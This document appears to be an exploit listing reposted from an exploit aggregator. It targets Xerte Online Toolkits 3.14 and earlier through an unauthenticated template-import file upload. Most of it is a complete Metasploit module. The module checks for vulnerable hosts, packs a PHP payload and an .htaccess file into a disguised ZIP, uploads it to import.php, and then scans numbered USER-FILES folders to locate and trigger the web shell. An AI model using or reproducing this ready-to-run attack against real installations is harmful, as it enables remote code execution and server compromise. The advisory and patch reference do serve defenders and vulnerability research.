Share
## https://sploitus.com/exploit?id=PACKETSTORM:216288
=============================================================================================================================================
    | # Title     : Xerte Online Toolkits โ‰ค 3.14 Unauthenticated Template Import Leads to Arbitrary File Upload and Remote Code Execution       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://xot.xerte.org.uk/                                                                                                   |
    =============================================================================================================================================
    
    [+] Summary    : A vulnerability in Xerte Online Toolkits versions 3.14 and earlier allows unauthenticated users to upload arbitrary files via the template import functionality.
    
    The issue exists in: /website_code/php/import/import.php
    
    Due to missing authentication checks on the import endpoint, an attacker can upload a crafted ZIP archive disguised as a legitimate project template. The archive may contain a malicious PHP payload placed inside the media/ directory.
    
    [+] Once imported:
    
    The application extracts the ZIP contents into a publicly accessible directory under: USER-FILES/{projectID}--{targetFolder}/
    
    The attacker can directly access the uploaded PHP file.
    
    This results in remote code execution (RCE) under the web server context.
    
    [+] The vulnerability combines:
    
    Missing authentication
    
    Insufficient file type validation
    
    Unsafe extraction of user-controlled archives
    
    [+] Successful exploitation may allow attackers to:
    
    Execute arbitrary PHP code
    
    Gain persistent web shell access
    
    Compromise the hosting environment
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
            'Description' => %q{
              This module exploits an authentication bypass allowing arbitrary
              file upload in versions 3.14 and earlier to upload and execute a shell.
              Specifically, this targets /website_code/php/import/import.php
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka',
            ],
            'References' => [
              ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
              ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
          ]
        )
      end
    
      def check
        print_status('Performing check')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
        })
    
        return Exploit::CheckCode::Unknown unless res
    
        if res.code == 200 &&
           res.body.include?('No valid language definition found in the file!')
          return Exploit::CheckCode::Vulnerable
        end
    
        Exploit::CheckCode::Safe
      end
    
      def upload_payload_zip
        zip = Rex::Zip::Archive.new
    
        zip.add_file("media/#{php_filename}", payload.encoded)
        zip.add_file('media/.htaccess', htaccess_payload)
    
        zip.add_file('data.xml', %q{
    <learningObject targetFolder="site" language="" name="Project Title" theme="default">
      <page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
        <section linkID="PG1360232936371" name="This is section One"/>
      </page>
    </learningObject>
        })
    
        zip.add_file('mal-theme.info', %q{
    name: mal-theme
    display name: Flat: Black & Green
    description: Test
    enabled: yes
    preview: apereo.jpg
        })
    
        zip.add_file('template.xml', %q{
    <learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
        })
    
        mime = Rex::MIME::Message.new
        mime.add_part(zip.pack, 'application/zip', 'binary',
                      %(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
    
        unless res && res.code == 200
          fail_with(Failure::UnexpectedReply, 'Upload failed or server did not respond as expected')
        end
    
        print_good('ZIP uploaded successfully')
      end
    
      def http_send_command(_cmd)
        found = nil
    
        for i in 1..100 do
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{i}--Nottingham", 'media', php_filename)
          })
    
          next unless res&.code == 200
    
          print_status("Found shell at #{i}")
          found = i
          break
        end
    
        unless found
          fail_with(Failure::NotFound, 'Shell not found in expected USER-FILES directories')
        end
    
        register_file_for_cleanup("USER-FILES/#{found}--Nottingham/media/#{php_filename}")
    
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{found}--Nottingham", 'media', php_filename)
        })
      end
    
      def exploit
        upload_payload_zip
        http_send_command(payload.encoded)
      end
    
      def php_filename
        @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
      end
    
      def htaccess_payload
        <<~PAYLOAD
          <IfModule mod_rewrite.c>
              RewriteEngine Off
          </IfModule>
        PAYLOAD
      end
    
      def zip_filename
        @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
      end
    
    end
    
    
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================